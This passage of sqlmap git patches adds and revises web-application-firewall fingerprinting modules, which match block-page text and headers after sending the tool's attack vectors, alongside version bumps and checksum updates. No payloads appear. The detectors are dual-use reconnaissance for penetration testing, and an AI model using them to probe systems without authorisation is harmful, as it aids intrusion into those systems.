|= "This site is protected by an enhanced security system to ensure a safe browsing experience" in (page or "") + retval |= "onMessage SHIELD" in (page or "") + if retval: + break + + return retval From 9f75fd4fb882572f4850244f5e82e59b51ccfcce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 7 Jan 2019 02:58:47 +0100 Subject: [PATCH 009/800] New WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 11 +++++++++-- waf/cleantalk.py | 19 +++++++++++++++++++ waf/godaddy.py | 19 +++++++++++++++++++ waf/malcare.py | 22 ++++++++++++++++++++++ waf/ninjafirewall.py | 20 ++++++++++++++++++++ waf/rsfirewall.py | 19 +++++++++++++++++++ waf/shieldsecurity.py | 19 +++++++++++++++++++ waf/virusdie.py | 19 +++++++++++++++++++ waf/watchguard.py | 3 ++- 10 files changed, 149 insertions(+), 4 deletions(-) create mode 100644 waf/cleantalk.py create mode 100644 waf/godaddy.py create mode 100644 waf/malcare.py create mode 100644 waf/ninjafirewall.py create mode 100644 waf/rsfirewall.py create mode 100644 waf/shieldsecurity.py create mode 100644 waf/virusdie.py diff --git a/lib/core/settings.py b/lib/core/settings.py index dc566a43d4b..d673b455e3d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.1.7" +VERSION = "1.3.1.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1be0b4d3387..f9654769dc7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -885aad10b81d3eaee5218ffbe29db374 lib/core/settings.py +f483f079c8682b64940e78c6b75bac77 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -412,6 +412,7 @@ ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py +2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py 8414f766b0171fbc264c46ad40dff237 waf/cloudfront.py @@ -426,6 +427,7 @@ a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 3f440d629b31052e675ee9d48d4ce370 waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py +4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py 2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py 256a7ea2c1cd2745fe788cf8f6123f8a waf/immunify360.py 1adbd0c470d1bbcec370722f05094255 waf/incapsula.py @@ -434,10 +436,12 @@ a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py d50d82bec48814eb5b699d302dbdae9a waf/kona.py +d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 4397c299d27a500851726444fb89759e waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py +d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py 7ff3c93f2c77a984ebbf217c7c38a796 waf/paloalto.py @@ -446,10 +450,12 @@ a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py ac60456fe7af4eb501d448910e98ee4b waf/radware.py dba6a3b52851d2d7a0a1ab83a51caa5a waf/reblaze.py 987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py +8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py 2a7b234e903d13b3c21d6c17e05d1c46 waf/safe3.py 4382cb217354d816580ee07178d0a8c7 waf/safedog.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py +2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py 4d79866c7cff0d7650a22d0a85126c05 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py @@ -461,8 +467,9 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py 45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py 2d9d9fa8359a9f721e4b977d3da52410 waf/varnish.py +2be220869fae5a942a460428c84345af waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py -6aad5ef252bf428e9bbebe650c0cf67e waf/watchguard.py +114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py c8dcaa89f6cde684a578fdc2e9ab2bb8 waf/webappsecure.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py diff --git a/waf/cleantalk.py b/waf/cleantalk.py new file mode 100644 index 00000000000..006d2a75cc3 --- /dev/null +++ b/waf/cleantalk.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "CleanTalk Web Application FireWall (CleanTalk)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("Blocked by Web Application Firewall", "Security by CleanTalk")) + + return retval diff --git a/waf/godaddy.py b/waf/godaddy.py new file mode 100644 index 00000000000..fdbdba1d024 --- /dev/null +++ b/waf/godaddy.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "GoDaddy Website Firewall (GoDaddy Inc.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("Access Denied - GoDaddy Website Firewall", "<title>GoDaddy Security - Access Denied")) + + return retval diff --git a/waf/malcare.py b/waf/malcare.py new file mode 100644 index 00000000000..6180962a79d --- /dev/null +++ b/waf/malcare.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "MalCare (Inactiv.com Media Solutions Pvt Ltd.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "Blocked because of Malicious Activities" in (page or "") + retval |= re.search(r"Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare", page or "") is not None + + return retval diff --git a/waf/ninjafirewall.py b/waf/ninjafirewall.py new file mode 100644 index 00000000000..5e7ef1377a3 --- /dev/null +++ b/waf/ninjafirewall.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "NinjaFirewall (NinTechNet)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "NinjaFirewall: 403 Forbidden" in (page or "") + retval |= all(_ in (page or "") for _ in ("For security reasons, it was blocked and logged", "NinjaFirewall")) + + return retval diff --git a/waf/rsfirewall.py b/waf/rsfirewall.py new file mode 100644 index 00000000000..1ead81293ef --- /dev/null +++ b/waf/rsfirewall.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "RSFirewall (RSJoomla!)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("COM_RSFIREWALL_403_FORBIDDEN", "COM_RSFIREWALL_EVENT")) + + return retval diff --git a/waf/shieldsecurity.py b/waf/shieldsecurity.py new file mode 100644 index 00000000000..9c9c84b5e31 --- /dev/null +++ b/waf/shieldsecurity.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Shield Security (One Dollar Plugin)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "Something in the URL, Form or Cookie data wasn't appropriate" in (page or "") + + return retval diff --git a/waf/virusdie.py b/waf/virusdie.py new file mode 100644 index 00000000000..b6d5f31ac8e --- /dev/null +++ b/waf/virusdie.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Virusdie (Virusdie LLC)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

")) + + return retval diff --git a/waf/watchguard.py b/waf/watchguard.py index bb40d49d97b..538a565a108 100644 --- a/waf/watchguard.py +++ b/waf/watchguard.py @@ -16,8 +16,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) + page, headers, code = get_page(get=vector) retval = code >= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= "Request denied by WatchGuard Firewall" in (page or "") if retval: break From 12883cac166701434354d3aed7c7de6f1f8ca8c6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 13:45:01 +0100 Subject: [PATCH 010/800] Minor update --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/reblaze.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d673b455e3d..c59dc10232d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.8" +VERSION = "1.3.1.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f9654769dc7..60cb8d989b7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -f483f079c8682b64940e78c6b75bac77 lib/core/settings.py +114e8b6f28ec0c03f083dd15bf257b28 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -448,7 +448,7 @@ a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py 2979bb64c24256a83625d75a385dde9b waf/profense.py 8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py ac60456fe7af4eb501d448910e98ee4b waf/radware.py -dba6a3b52851d2d7a0a1ab83a51caa5a waf/reblaze.py +1315066be1abb4f1d34290239be0af14 waf/reblaze.py 987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py 8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py 2a7b234e903d13b3c21d6c17e05d1c46 waf/safe3.py diff --git a/waf/reblaze.py b/waf/reblaze.py index a5a6a7936c1..0dd5c6546b7 100644 --- a/waf/reblaze.py +++ b/waf/reblaze.py @@ -16,9 +16,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Reblaze Secure Web Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("Current session has been terminated", "For further information, do not hesitate to contact us", "Access denied (403)")) if retval: break From fcfbc5d59f7c1e92c1c7cb615e385d0c546fff11 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 13:56:37 +0100 Subject: [PATCH 011/800] Removing junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/dosarrest.py | 25 ------------------------- 3 files changed, 2 insertions(+), 28 deletions(-) delete mode 100644 waf/dosarrest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c59dc10232d..754aaad8591 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.9" +VERSION = "1.3.1.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 60cb8d989b7..125a98093c5 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -114e8b6f28ec0c03f083dd15bf257b28 lib/core/settings.py +de869bb9eb40f7f621d766c6560d0c13 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -421,7 +421,6 @@ af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py f20b14ca9f7c2442fd1e9432d933a75b waf/datapower.py e49bb75985f60556b4481dc085f3c62b waf/denyall.py dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py -2e8bf326975edcb4d627493c46c6807c waf/dosarrest.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 3f440d629b31052e675ee9d48d4ce370 waf/expressionengine.py diff --git a/waf/dosarrest.py b/waf/dosarrest.py deleted file mode 100644 index 5d9666689b8..00000000000 --- a/waf/dosarrest.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "DOSarrest (DOSarrest Internet Security)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"DOSarrest", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= headers.get("X-DIS-Request-ID") is not None - if retval: - break - - return retval From 8ceff3dcc7539e4058d4720bae8c4d56fb3b8b90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 14:13:29 +0100 Subject: [PATCH 012/800] Cleaning junk and updating asm.py WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 5 ++--- waf/asm.py | 5 ++++- waf/bigip.py | 30 ------------------------------ 4 files changed, 7 insertions(+), 35 deletions(-) delete mode 100644 waf/bigip.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 754aaad8591..66065bf8fd3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.11" +VERSION = "1.3.1.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 125a98093c5..1cfe5de2404 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -de869bb9eb40f7f621d766c6560d0c13 lib/core/settings.py +9c1d73674867a376be098517216c6c05 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -402,11 +402,10 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 94eec6c5d02357596292d36a8533f08f waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py -fac23fc2e564edaf90a4346f3ee525b0 waf/asm.py +f0aa6abf1f9af78374e58a64cb33c9de waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py 29b14801171574a3d92a30542a32be54 waf/baidu.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py -2bb132ecea25e947e7e82e32e7dd6b3a waf/bigip.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py diff --git a/waf/asm.py b/waf/asm.py index 6f07d5909a7..0b757be90b9 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +import re + from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Application Security Manager (F5 Networks)" @@ -13,9 +15,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) + page, headers, code = get_page(get=vector) retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) + retval |= (code >= 400) and "ID" in (page or "") and re.search(r"\b\d{19}\b", page or "") is not None if retval: break diff --git a/waf/bigip.py b/waf/bigip.py deleted file mode 100644 index ff1d5dc7833..00000000000 --- a/waf/bigip.py +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BIG-IP Application Security Manager (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) - retval = headers.get("X-Cnection", "").lower() == "close" - retval |= headers.get("X-WA-Info") is not None - retval |= re.search(r"\bTS[0-9a-f]+=", headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None - retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval &= code >= 400 - if retval: - break - - return retval From bdddc5c333cc0924251b9571c2acf9fd74f67a61 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 14:21:09 +0100 Subject: [PATCH 013/800] Some more junk removal --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/baidu.py | 25 ------------------------- 3 files changed, 2 insertions(+), 28 deletions(-) delete mode 100644 waf/baidu.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 66065bf8fd3..9aa07c70f0b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.12" +VERSION = "1.3.1.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1cfe5de2404..c6519339b25 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -9c1d73674867a376be098517216c6c05 lib/core/settings.py +3374084a74747b46a1fa4f7dd77d6a84 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -404,7 +404,6 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 425f2599f57ab81b4fff67e6b442cccc waf/armor.py f0aa6abf1f9af78374e58a64cb33c9de waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py -29b14801171574a3d92a30542a32be54 waf/baidu.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py diff --git a/waf/baidu.py b/waf/baidu.py deleted file mode 100644 index 50e5542cad4..00000000000 --- a/waf/baidu.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yunjiasu Web Application Firewall (Baidu)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"fhl", headers.get("X-Server", ""), re.I) is not None - retval |= re.search(r"yunjiasu-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval From 3b7ef42b3035eae3efd6c0c3472fa9599d5be36b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 14:23:20 +0100 Subject: [PATCH 014/800] Goodbye junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/datapower.py | 23 ----------------------- 3 files changed, 2 insertions(+), 26 deletions(-) delete mode 100644 waf/datapower.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9aa07c70f0b..7b29d4b29f3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.13" +VERSION = "1.3.1.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c6519339b25..76b7f48a205 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -3374084a74747b46a1fa4f7dd77d6a84 lib/core/settings.py +5d00504dbff5507227df4f7cda1c41aa lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -416,7 +416,6 @@ af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8414f766b0171fbc264c46ad40dff237 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py 4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py -f20b14ca9f7c2442fd1e9432d933a75b waf/datapower.py e49bb75985f60556b4481dc085f3c62b waf/denyall.py dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py diff --git a/waf/datapower.py b/waf/datapower.py deleted file mode 100644 index b1af70a8f6a..00000000000 --- a/waf/datapower.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "IBM WebSphere DataPower (IBM)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\A(OK|FAIL)", headers.get("X-Backside-Transport", ""), re.I) is not None - if retval: - break - - return retval From 48cdc6a308b43cc088d6cf9ce264fa37366efa0a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 14:44:31 +0100 Subject: [PATCH 015/800] Wrong naming fix --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/{immunify360.py => imunify360.py} | 0 3 files changed, 3 insertions(+), 3 deletions(-) rename waf/{immunify360.py => imunify360.py} (100%) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7b29d4b29f3..3a3a6c1243e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.14" +VERSION = "1.3.1.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 76b7f48a205..226833f0f5e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -5d00504dbff5507227df4f7cda1c41aa lib/core/settings.py +098028ac6cec0095c6ffd8019d448b1c lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -425,7 +425,7 @@ a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py 2aa7775dac8df4a3cdb736fdf51dc9cb 